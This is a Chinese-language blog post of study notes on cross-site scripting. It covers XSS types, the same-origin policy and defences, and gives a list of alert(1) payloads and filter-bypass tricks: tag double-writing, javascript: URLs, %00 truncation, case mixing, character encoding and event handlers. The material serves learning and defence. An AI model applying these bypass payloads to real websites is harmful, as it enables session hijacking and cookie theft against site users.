XSS漏洞学习记录
介绍
跨站脚本攻击,为区别于层叠样式表CSS,故命名为XSS,通常是利用html或者JavaScript代码来进行攻击
危害
- 窃取cookie
- 会话劫持
- 网络钓鱼
- 窃取历史记录
- 探测客户端信息
- 网页挂马、DDOS、蠕虫攻击
说明
XSS与各种浏览器的特性息息相关,因此不保证下述理论适用于所有的浏览器,凡是JavaScript能做的事情,那么利用xss理论上都可以实现,故危害巨大。
同源策略
满足一下三个条件即为满足同源策略:协议、域名、端口
分类
- 反射型注入
- 存储型注入
- DOM型注入
常用攻击方式
代码注入攻击
1
<script>alert(1)</script>
双写绕过
1 | <scrscriptipt>alert(1)</scrscriptipt> |
- 闭合标签空格绕过
1 | </style ><script>alert(1)</script>` |
伪协议攻击
1
<img src="javascript:alert('xss');">
空格tab回车攻击
1
<img src="java script:alert('xss');">
@符号绕过url限制
1
2
3例如:`https://www.segmentfault.com@xss.haozi.me/j.js`
其实访问的是@后面的内容fromCharCode方法绕过
1
2String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)
eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))逃逸函数后接分号
1
例:`");alert(1)//`
\绕过转义限制
1 | \") |
- ASCII转义攻击(可填充字符)
1
<img src="javascript:alert('xss');">
- 换行绕过正则匹配
1 | onmousedown |
- 注释符
1 | // 单行注释 |
%00截断绕过
1
<a href=javascr%00ipt:alert(1)>xss</a>
编码绕过
1 | 实体编码 |
- on事件攻击
1
<img src=1 onerror=alert(1) />
- 利用CSS样式攻击
1
<div style="background-image:url(javascript:alert('XSS'))">
- 大小写混淆攻击
1
<ImG sRc="jaVaScripT:alert('xss')">
- 替换绕过
1
2
3
4过滤 alert 用prompt,confirm,top['alert'](1)代替绕过
过滤() 用``代替绕过
过滤空格 用%0a(换行符),%0d(回车符),/**/代替绕过
小写转大写情况下 字符ſ大写后为S(ſ不等于s) - 注释填充攻击
1
<script>al/*javascript*/ert(1)</script>
- 十进制/十六进制攻击
1
核心payload做&#十进制或十六进制编码,同时可以结合\0来进行填充
- String.formcharcode编码攻击
1
将关键词payload以string.formcharcode来进行转义
- 拆分攻击
1
将过长的payload分割,以+号连接即可
防御方式
- 黑名单防御
- 白名单防御
- HTML编码转义输出
- httponly
- 开启内容安全策略
参考资料
- 《XSS跨站脚本攻击剖析与防御》
- XSS Cheat SHeet
本文作者:
yd0ng
本文链接: https://yd0ng.github.io/2020/09/16/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3XSS%E6%BC%8F%E6%B4%9E/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!
本文链接: https://yd0ng.github.io/2020/09/16/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3XSS%E6%BC%8F%E6%B4%9E/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!